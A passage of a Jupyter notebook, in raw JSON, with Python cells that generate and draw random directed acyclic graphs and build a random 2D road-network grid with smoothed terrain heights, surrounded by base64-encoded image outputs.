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\n", "text/plain": [ "<IPython.core.display.Image object>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "def random_alphabet(N=20, first_letter='A'):\n", " \"\"\"Generates unique strings to be used as index_names\"\"\"\n", " if N<27:\n", " alphabet = [chr(i+ord(first_letter)) for i in range(N)]\n", " else:\n", " alphabet = ['X'+str(i) for i in range(N)] \n", " return alphabet\n", "\n", "def random_parents(alphabet, max_indeg=3):\n", " \"\"\"Random DAG generation\"\"\"\n", " N = len(alphabet)\n", " print(alphabet)\n", " indeg = lambda: np.random.choice(range(1,max_indeg+1))\n", " parents = {a:[b for b in np.random.choice(alphabet[0:(1 if i==0 else i)], replace=False, size=min(indeg(),i))] for i,a in enumerate(alphabet)}\n", " return parents\n", "\n", "def show_dag_image(index_names, parents, imstr='_BJN_tempfile.png', prog='dot'):\n", " name2idx = {name: i for i,name in enumerate(index_names)}\n", " A = pgv.AGraph(directed=True)\n", " for i_n in index_names:\n", " A.add_node(name2idx[i_n], label=i_n)\n", " for j_n in parents[i_n]:\n", " A.add_edge(name2idx[j_n], name2idx[i_n])\n", " A.layout(prog=prog)\n", " A.draw(imstr)\n", " display(Image(imstr))\n", " return \n", "\n", "index_names = random_alphabet(10)\n", "parents = random_parents(index_names, 3)\n", "show_dag_image(index_names, parents, prog='neato')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "\n", "Road Network\n", "\n", "We will build a 2D square grid where neighbors are connected\n", "\n", "Remove Random junctions for a more realistic view\n", "Compute a smooth height z by a linear dynamics\n", "Transform x,y,z and print\n", "\n" ] }, { "cell_type": "code", "execution_count": 139, "metadata": { "collapsed": true }, "outputs": [], "source": [ "import numpy as np\n", "import scipy as sc\n", "import pandas as pd\n", "\n", "from itertools import product\n", "\n", "def ind2idx(i,j, M, N):\n", " return i + M*j\n", "\n", "def idx2ind(k, M, N):\n", " return k % M, k//M\n", "\n", "def neigh(i,j, M, N): \n", " ng = {'n': None, 's': None, 'w': None, 'e': None}\n", " \n", " # north\n", " if i>0:\n", " ng['n'] = ind2idx(i-1,j,M,N)\n", " # south\n", " if i<M-1:\n", " ng['s'] = ind2idx(i+1,j,M,N)\n", " \n", " # west\n", " if j>0:\n", " ng['w'] = ind2idx(i,j-1,M,N)\n", "\n", " #east\n", " if j<N-1:\n", " ng['e'] = ind2idx(i,j+1,M,N)\n", " \n", " return ng\n", "\n", "# Build a grid of junctions\n", "M, N = 12,15\n", "\n", "#ng = neigh(0,0,M,N)\n", "#print(ng)\n", " \n", "## Build the Adjecency list of the undirected graph\n", "Adj = [[] for i in range(M*N)]\n", "\n", "\n", "for j in range(N):\n", " for i in range(M):\n", " k = ind2idx(i,j,M,N)\n", " ng = neigh(i,j,M,N)\n", " \n", " south = ng['s'] \n", " if south is not None:\n", " Adj[k].append(south)\n", " Adj[south].append(k)\n", " \n", " if np.random.rand()<0.8:\n", " east = ng['e']\n", " if east is not None:\n", " Adj[k].append(east)\n", " Adj[east].append(k)\n", " \n", " # print(k,Adj[k])\n", " \n", "# Kill a fraction of nodes randomly\n", "kill = np.random.choice(range(M*N), size=M*N//10)\n", "for k in kill:\n", " for u in Adj[k]:\n", " Adj[u].remove(k)\n", " Adj[k] = []\n", " \n", "## Place nodes on a perturbed grid\n", "X = 0.9*np.random.rand(N) + np.arange(0, N)\n", "Y = 0.9*np.random.rand(M) + np.arange(0, M)\n", "\n", "Coords = np.zeros((M*N, 3))\n", "\n", "for k in range(M*N):\n", " i, j = idx2ind(k, M, N)\n", " Coords[k, 0] = X[j]+0.1*np.random.randn()\n", " Coords[k, 1] = Y[i]+0.1*np.random.randn()\n", " Coords[k, 2] = np.random.rand()\n", "\n", "## Iterate to get a smooth terrain \n", "EPOCHS = 30\n", "\n", "for e in range(EPOCHS):\n", " perm = np.random.permutation(M*N)\n", " for k in perm:\n", " if Adj[k]:\n", " Coords[k,2] = 0.9*Coords[k,2] + 0.1*np.mean(Coords[Adj[k],2])" ] }, { "cell_type": "code", "execution_count": 136, "metadata": {}, "outputs": [ { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAlMAAAJCCAYAAADky0LWAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAADl0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uIDIuMS4yLCBo\ndHRwOi8vbWF0cGxvdGxpYi5vcmcvNQv5yAAAIABJREFUeJzt3G+MZWl+H/Tv09sZwk3cKpudkGV7\nu8pBlsNgkbarFGwMdCsmZEksGyFFSpSElTCaF4CzmxCFNREIXjREAsFaCn8UBWNDFY4Sx2BrZYJX\nTloJErGoccbj9aw3NklX7yQb7AiqiwlIk0weXtxb7urq6Xtr+qm653e7Px/pqvs891adr37n3Jpv\nnXumW+89AAA8n2tTBwAA2GTKFADAAGUKAGCAMgUAMECZAgAYoEwBAAxQpgAABihTAAADlCkAgAHX\n17mzj370o31nZ2eduwQAeC5vvPHG3+m9v7rqdWstUzs7Ozk8PFznLgEAnktr7egir/MxHwDAAGUK\nAGCAMgUAMECZAgAYoEwBAAxQpgAABihTAAADlCkAgAHKFADAAGUKAGCAMgUAMECZAgAYoEwBAAxQ\npgAABihTAAADlCkAgAHKFADAAGUKAGCAMgUAMECZAgAY8OKUqYODZGcnuXZt/ufBgTznVcskz2bl\nSeplkmfzVJuRPPJcht772h67u7v9Suzv9z6b9Z48fsxm8/UpVMtTMZM8m5WnYiZ5Nk+1GckjzwpJ\nDvsF+k2bv3Y99vb2+uHh4eV/452d5Ogon0ny5pnl91rL2zduXP7+Vnjr5CS3ei+Tp2Km0zxP2d5O\nHjxYe57Tc+gp8jxWLVPR9/1Tpjxm1Thmy3mPLTXF8WqtvdF731v1uhfjY76HDz9w+ZU1FsWzbj5j\nv1PlSeplelaeZx3LK/es/cqzet/FZuScLswxW857bKlyx+uM61MHuBS3biVHR/nc+fWJ23yZPEm9\nTM/6DezWrbVH+dX9yrNctUxF3/dPmfKYVeOYLec9tly143XGi3Fl6t69ZDZ7cm02m6/LM1ctkzyb\nlSepl0mezVNtRvLIc1kucmPVZT2u7Ab03uc3oG1v997a/M+pb/rc3+9HrfX3kxp5eq+XSZ7NytN7\nvUwF85T6OVSRY7YyT7X5vMx58lLdgF7U1tZWkuT4+HjiJI9VyyTPctXyJPUyVcvDao7ZctXm8zLn\nebluQAcAmIgyBQAwQJkCABigTAEADFCmAAAGKFMAAAOUKQCAAcoUAMAAZQoAYIAyBQAwQJkCABig\nTAEADFCmAAAGKFMAAAOUKQCAAcoUAMAAZQoAYIAyBQAwQJkCABigTAEADFCmAAAGKFMAAAOUKQCA\nAcoUAMAAZQoAYIAyBQAwQJkCABigTAEADFCmAAAGKFMAAAOUKQCAAcoUAMAAZQoAYIAyBQAwQJkC\nABigTAEADFhZplprP9Ba++XW2hfPrH1da+0LrbVfXPz5tVcbEwCgpotcmfrBJJ88t/bZJD/Ve/+G\nJD+12Oasg4O8dnKS248eJTs7ycHB1InqZZJns/Ik9TJVy1PNwcF8Lteu1ZmPY7ZctfnIczG995WP\nJDtJvnhm+8tJPrb4+8eSfPki32d3d7e/FPb3e5/N+p2k30l6T3qfzebrMsmziXkqZqqWp5rFfPrp\nbCrMxzFbrtp85OlJDvsF+k2bv3a51tpOks/33r9psX3ce9868/z/3Xtf+VHf3t5ePzw8/JB1bwPt\n7CRHR7mZ5N0ktxfL77WWt2/cmCTSWycnudV7mUynee4utu+fPrG9nTx4sPY81Y5ZteNVMVO5c6ia\nxTn9mSRvnlmucA7dXWzfP33CMZtbHLO7i837p+sT/1x8mfO01t7ove+tet31K9n7k0FeT/J6kty6\ndeuqd1fDw4dJklfPLb9ygeJ6VW4u9l0l02me2+efWMxu7Yods2rHK6mXqdw5VM0z5lDhHHLMnmEx\nhzLzkefCnvfK1JeT3O29f7W19rEk93vv37jq+7xsV6aeMuVvX9UyybNctTxJvUzV8lRTcT4VM1VS\nbT7yXPjK1PP+0wg/nuRTi79/KsmPPef3eTHdu5fMZk+uzWbz9alUyyTPZuVJ6mWqlqeaivOpmKmS\navOR5+JW3VSV5IeTfDXJ30vyTpLvSfKPZP5/8f3i4s+vu8gNWi/NDei9976/349a6+8nvW9v17jB\nslomeVbm6dvbvbdWI0/vJWdUKk81FedTMVMl1ebzkufJZd6Afllemo/5Fra25vfoHx8fT5zksWqZ\n5Nk81WZULU81FedTMVMl1ebzMue56o/5AACIMgUAMESZAgAYoEwBAAxQpgAABihTAAADlCkAgAHK\nFADAAGUKAGCAMgUAMECZAgAYoEwBAAxQpgAABihTAAADlCkAgAHKFADAAGUKAGCAMgUAMECZAgAY\noEwBAAxQpgAABihTAAADlCkAgAHKFADAAGUKAGCAMgUAMECZAgAYoEwBAAxQpgAABihTAAADlCkA\ngAHKFADAAGUKAGCAMgUAMECZAgAYoEwBAAxQpgAABrw4ZergINnZSa5dm/95cDB5ntdOTnL70aMa\neZJ6meTZPNVmVDCPn0MrVMvkmMlzGXrva3vs7u72K7G/3/ts1nvy+DGbzdensMhzJ+l3KuSpmEme\nzVNtRkXz+Dm0QZkcM3lWSHLYL9Bv2vy167G3t9cPDw8v/xvv7CRHR/lMkjfPLL/XWt6+cePy97fC\nWycnudV7biZ5N8ntifNUzHSa5+5i+/7pE9vbyYMHa89zeg6VyVPRYkbVzqFqear9HLq72L5/+sSU\n53TRc6jaMas2n2p57i62758+cYXndGvtjd773qrXXb+Sva/bw4cfuPzKGoviWTcX+3313PpUeZJ6\nmU7z3D7/xDOO5ZVb7LdMnooWs6h2DlXLc97UeUqd00XPofOmzlNtPtXylDqnF16oK1NPmfgqx1MK\n/Eb4FDOaq5anomozkme5anmSepnkWU6eC1+ZejFuQL93L5nNnlybzebr8sxVyyTP5qk2I3k2K09S\nL5M88lyWi9xYdVmPK7sBvffe9/f7UWv9/aT37e3pbxyulqf3epnk2TzVZrS/P8/RWpk81eZTKk/v\n9TLJs3F51vmez0t1A/rC1tZWkuT4+PjK9vFhVMuT1Mskz+Yxo+WqzadanqReJnmWq5ZnnV6uj/kA\nACaiTAEADFCmAAAGKFMAAAOUKQCAAcoUAMAAZQoAYIAyBQAwQJkCABigTAEADFCmAAAGKFMAAAOU\nKQCAAcoUAMAAZQoAYIAyBQAwQJkCABigTAEADFCmAAAGKFMAAAOUKQCAAcoUAMAAZQoAYIAyBQAw\nQJkCABigTAEADFCmAAAGKFMAAAOUKQCAAcoUAMAAZQoAYIAyBQAwQJkCABigTAEADFCmAAAGKFMA\nAAOGylRr7Q+11n6+tfbF1toPt9Z+7WUFAwDYBM9dplprH0/yB5Ps9d6/KclHkvyeywr2oR0c5LWT\nk9x+9CjZ2UkODiaLUjJPUi+TPCvzZGcnuXatRp6k3oyqqTafanmSepnk2aw8VfXen+uR5ONJvpLk\n65JcT/L5JP/isq/Z3d3tV2J/v/fZrN9J+p2k96T32Wy+PoVqeSpmkudCefpplqnznMlUZkbVVJtP\ntTwVM8mzWXkmkOSwX6ATtflrn09r7dNJ7iX5/5L8ZO/99y17/d7eXj88PHzu/T3Tzk5ydJSbSd5N\ncnux/F5refvGjcvf3wpvnZzkVu9l8lTMVDXP3cX2/dMntreTBw/Wnuf0nH7KVHmSX810d7F5/3R9\nykyV+Dm0cZnkuVieu4vt+6dPvETv+dbaG733vVWvuz6wg69N8t1Jvj7JcZI/21r7/b33/XOvez3J\n60ly69at593dcg8fJklePbf8ykBRHHFzsd8qeZJ6marmuX3+icW5tXbP2u9Uec7su8yMqvFzaKVq\nmeRZrtzPxcKe+8pUa+13J/lk7/17Ftv/apJv7b3/G8/6mqu+MvUUVxUeq5ZJnuWq5UlqZqqk2nyq\n5UnqZZJnuWp5JnDRK1Mj/zffwyTf2lqbtdZaku9I8qWB7/f87t1LZrMn12az+bo8c9UyybNZeZKa\nmSqpNp9qeZJ6meTZrDyVXeTGqmc9kvyHSX4hyReT/PdJ/qFlr7+yG9B7731/vx+11t9Pet/env4G\nuWp5ep9n2N7uvbUamarNSJ7VKmaqpNp8qr3ney85I3k2KM+aZR03oH9YV/Yx38LW1laS5Pj4+Mr2\n8WFUy1NRtRnJs1rFTJWYz2rVZiTPctXyrNM6PuYDAHjpKVMAAAOUKQCAAcoUAMAAZQoAYIAyBQAw\nQJkCABigTAEADFCmAAAGKFMAAAOUKQCAAcoUAMAAZQoAYIAyBQAwQJkCABigTAEADFCmAAAGKFMA\nAAOUKQCAAcoUAMAAZQoAYIAyBQAwQJkCABigTAEADFCmAAAGKFMAAAOUKQCAAcoUAMAAZQoAYIAy\nBQAwQJkCABigTAEADFCmAAAGKFMAAAOUKQCAAcoUAMAAZQoAYMCLU6YODvLayUluP3qU7OwkBwfy\nVFdtRvKsVi3TwcE8x7VrZfKUmk9F1WYkz8blKfWeP9V7X9tjd3e3X4n9/d5ns34n6XeS3pPeZ7P5\n+hSq5amo2ozk2bxMizz9NEuRPGXmU1G1GcmzkXnW+Z5Pctgv0G/a/LXrsbe31w8PDy//G+/sJEdH\nubvYvH+6vr2dPHhw+fvbtDwVLWZ0M8m7SW4vlt9rLW/fuLH2OG+dnORW7/JsUKbTPJ9J8uaZ9anz\n3F1s3z99wvv+Me97eS4hz1Ou8D3WWnuj97636nXXr2Tv6/bwYZLHB/r8+tpVy1PRYhavnlt+ZY3l\n/qybi/3K82zVMt18xn6nzuN9v4T3/VLyLPes93yF99gLdWXqKRNfmXqK31AfqzYjeVarlkmezVNt\nRvIsJ8+Fr0y9GDeg37uXzGZPrs1m83V5aqo2I3lWq5ZJns1TbUbyyHNZLnJj1WU9ruwG9N5739/v\nR63195Pet7env+mzWp6Kqs1IntWqZZJn81SbkTzyLJGX6gb0ha2trSTJ8fHxle3jw6iWp6JqM5Jn\ntWqZ5Nk81WYkz3Ivc56X62M+AICJKFMAAAOUKQCAAcoUAMAAZQoAYIAyBQAwQJkCABigTAEADFCm\nAAAGKFMAAAOUKQCAAcoUAMAAZQoAYIAyBQAwQJkCABigTAEADFCmAAAGKFMAAAOUKQCAAcoUAMAA\nZQoAYIAyBQAwQJkCABigTAEADFCmAAAGKFMAAAOUKQCAAcoUAMAAZQoAYIAyBQAwQJkCABigTAEA\nDFCmAAAGKFMAAAOUKQCAAcoUAMCAoTLVWttqrf1Ia+0XWmtfaq1922UFAwDYBKNXpr4/yZ/vvf/m\nJL8lyZfGIz2ng4O8dnKS248eJTs7ycHBZFFK5qmo2ozkWa1aJnk2T7UZySPPZei9P9cjyY0kfyNJ\nu+jX7O7u9iuxv9/7bNbvJP1O0nvS+2w2X59CtTwVVZuRPJuXSZ7NU21G8sizQpLDfoF+0+av/fBa\na7eT/Mkkb2d+VeqNJJ/uvf/dZ33N3t5ePzw8fK79LbWzkxwd5e5i8/7p+vZ28uDB5e9v0/JUtJjR\nzSTvJrm9WH6vtbx948ba47x1cpJbvdc5ZsXmkzyeUZVMVfPcXWzfP33C+/6xYud11XNInuV57i62\n758+cYXvsdbaG733vVWvuz6wj+tJviXJ9/bef7q19v1JPpvk3zsX5PUkryfJrVu3Bna3xMOHSR4f\n6PPra1ctT0WLWbx6bvmV5yz3o24u9lvmmBWbT/J4RlUyVc1T5hyqqNh5XfUckueDVX6PjVyZ+o1J\n/krvfWex/c8l+Wzv/Xc962uu+srUUya+qvAUv6E+Vm1G8qxWLZM8m6fajORZTp4LX5l67hvQe+9/\nO8lXWmvfuFj6jsw/8lu/e/eS2ezJtdlsvi5PTdVmJM9q1TLJs3mqzUgeeS7LRW6setYj86tth0ne\nSvI/JfnaZa+/shvQe+99f78ftdbfT3rf3p7+ps9qeSqqNiN5VquWSZ7NU21G8mxcnr693Xtra8mT\nq74B/Xlc2cd8C1tbW0mS4+PjK9vHh1EtT0XVZiTPatUyybN5qs1InuWq5VmnK/+YDwAAZQoAYIgy\nBQAwQJkCABigTAEADFCmAAAGKFMAAAOUKQCAAcoUAMAAZQoAYIAyBQAwQJkCABigTAEADFCmAAAG\nKFMAAAOUKQCAAcoUAMAAZQoAYIAyBQAwQJkCABigTAEADFCmAAAGKFMAAAOUKQCAAcoUAMAAZQoA\nYIAyBQAwQJkCABigTAEADFCmAAAGKFMAAAOUKQCAAcoUAMAAZQoAYIAyBQAwQJkCABjw4pSpg4O8\ndnKS248eJTs7ycGBPOcdHMyzXLtWI1O1GcmzWrVM8qzMU+o9n5SckTwblKeq3vvaHru7u/1K7O/3\nPpv1O0m/k/Se9D6bzdenUC3PmUz9NM/UmarNSJ7NyyTPhfKUec+fyVRtRvJsSJ4JJDnsF+g3bf7a\n9djb2+uHh4eX/413dpKjo9xM8m6S24vl91rL2zduXP7+Vnjr5CS3ei+T52ymzyR588y6GT2Z5+5i\n+/7pE9vbyYMHa89zek6XyZN4n21onirv+bOZ7i62758+MfH7rNoxq5bn7mL7/ukTU/4cWrPW2hu9\n971Vr7u+jjBX7uHDJMmr55ZfWWNRPOvmYr9V8iSPM51nRnOneW6ff2Jxbq3dYr9l8pzZd7VjJs8H\nq/aeT+q+z6ods2p5yhyvwl6oK1NPmfi3nacUuKrwFDOak2e1apnkWa5anqReJnmWq5ZnAhe9MvVi\n3IB+714ymz25NpvN1+WZq5ZJns3Kk9TLJM9m5UnqZZJns/JUdpEbqy7rcWU3oPfe+/5+P2qtv5/0\nvr09/Q1y1fL0Xi+TPJuVp/d6meTZrDy918skz2blWbO8VDegL2xtbSVJjo+Pr2wfH0a1PEm9TPIs\nVy1PUi+TPMtVy5PUyyTPctXyrNPL9TEfAMBElCkAgAHKFADAAGUKAGCAMgUAMECZAgAYoEwBAAxQ\npgAABihTAAADlCkAgAHKFADAAGUKAGCAMgUAMECZAgAYoEwBAAxQpgAABihTAAADlCkAgAHKFADA\nAGUKAGCAMgUAMECZAgAYoEwBAAxQpgAABihTAAADlCkAgAHKFADAAGUKAGCAMgUAMECZAgAYoEwB\nAAxQpgAABihTAAADlCkAgAHKFADAAGUKAGCAMgUAMGC4TLXWPtJa+6uttc9fRqDndnCQ105OcvvR\no2RnJzk4mDROuTxJvUzybFaepF4meTYrT1Ivkzwblyc7O8m1azXynOq9Dz2S/OEk/0OSz6967e7u\nbr8S+/u9z2b9TtLvJL0nvc9m8/UpVMtTMZM8m5WnYiZ5NitPxUzybGSefpplDXmSHPYLdKE2f+3z\naa3dTPJDSe4l+cO99+9c9vq9vb1+eHj43Pt7pp2d5OgoN5O8m+T2Yvm91vL2jRuXv78V3jo5ya3e\ny+SpmKlqnruL7funT2xvJw8erD1PtXM6qXvM5NmMPGcz3V1s3z99wvssSb1jVjXPU67w/GmtvdF7\n31v1uuuD+/lckj+a5GuWBHk9yetJcuvWrcHdPcPDh0mSV88tvzJQFEfcXOy3Sp6kXqaqeW6ff2Jx\nbq1dsXM6qXvM5Plg1fIk3merVDtmVfM8Zarz56yLXL76oEeS70zyXy7+fjdTfsy3vf3kZb/Tx/b2\n1exv0/JUzCTPZuWpmEmezcpTMZM88qyQC37MN3ID+rcn+a7W2oMkfzrJb2ut7Q81u+d1714ymz25\nNpvN1+WZq5ZJns3Kk9TLJM9m5UnqZZJHnstykca16pGpr0z13vv+fj9qrb9/2lKnvMmyYp7e62WS\nZ7Py9D7PsL3de2s1MlWbkTyrVcskjzxLZB03oJ9qrd1N8kf6VDegL2xtbSVJjo+Pr2wfH0a1PEm9\nTPIsVy1PRdVmJM9q1TLJs9zLnGddN6AnSXrv93Pmf8wAAHhZ+BfQAQAGKFMAAAOUKQCAAcoUAMAA\nZQoAYIAyBQAwQJkCABigTAEADFCmAAAGKFMAAAOUKQCAAcoUAMAAZQoAYIAyBQAwQJkCABigTAEA\nDFCmAAAGKFMAAAOUKQCAAcoUAMAAZQoAYIAyBQAwQJkCABigTAEADFCmAAAGKFMAAAOUKQCAAcoU\nAMAAZQoAYIAyBQAwQJkCABigTAEADFCmAAAGKFMAAAOUKQCAAcoUAMCAF6dMHRzktZOT3H70KNnZ\nSQ4O5DmvWiZ5NitPRdVmJM9q1TLJI89l6L2v7bG7u9uvxP5+77NZv5P0O0nvSe+z2Xx9CtXyVMwk\nz2blqajajOTZvEzyyLNCksN+gX7T5q9dj729vX54eHj533hnJzk6yt3F5v3T9e3t5MGDy9/fpuVJ\nfjXTzSTvJrm9WH6vtbx948ba47x1cpJbvcuzIs/dxfb90yemPIeqcU5fKM/dxfb90yf8HPpVVY9Z\ntTx3F9v3T594if7b2lp7o/e+t+p1169k7+v28GGSxyfe+fW1q5bnzL5fPbf8yhrL9Fk3F/uV54Od\n5il1DlXjnF6q5DnkmC1VNU+Zc6jif1sXXqgrU0+ZuD0/pcBvhE8xozl5Nk+1GcmzWrVM8iwnz4Wv\nTL0YN6Dfu5fMZk+uzWbzdXnmqmWSZ7PyVFRtRvKsVi2TPPJclovcWHVZjyu7Ab333vf3+1Fr/f2k\n9+3t6W/UrZan93qZ5NmsPBVVm9H+/jxHa2XylJpP7/UyySPPEnmpbkBf2NraSpIcHx9f2T4+jGp5\nknqZ5FmuWp6KzGi5ivOplkme5V7mPC/Xx3wAABNRpgAABihTAAADlCkAgAHKFADAAGUKAGCAMgUA\nMECZAgAYoEwBAAxQpgAABihTAAADlCkAgAHKFADAAGUKAGCAMgUAMECZAgAYoEwBAAxQpgAABihT\nAAADlCkAgAHKFADAAGUKAGCAMgUAMECZAgAYoE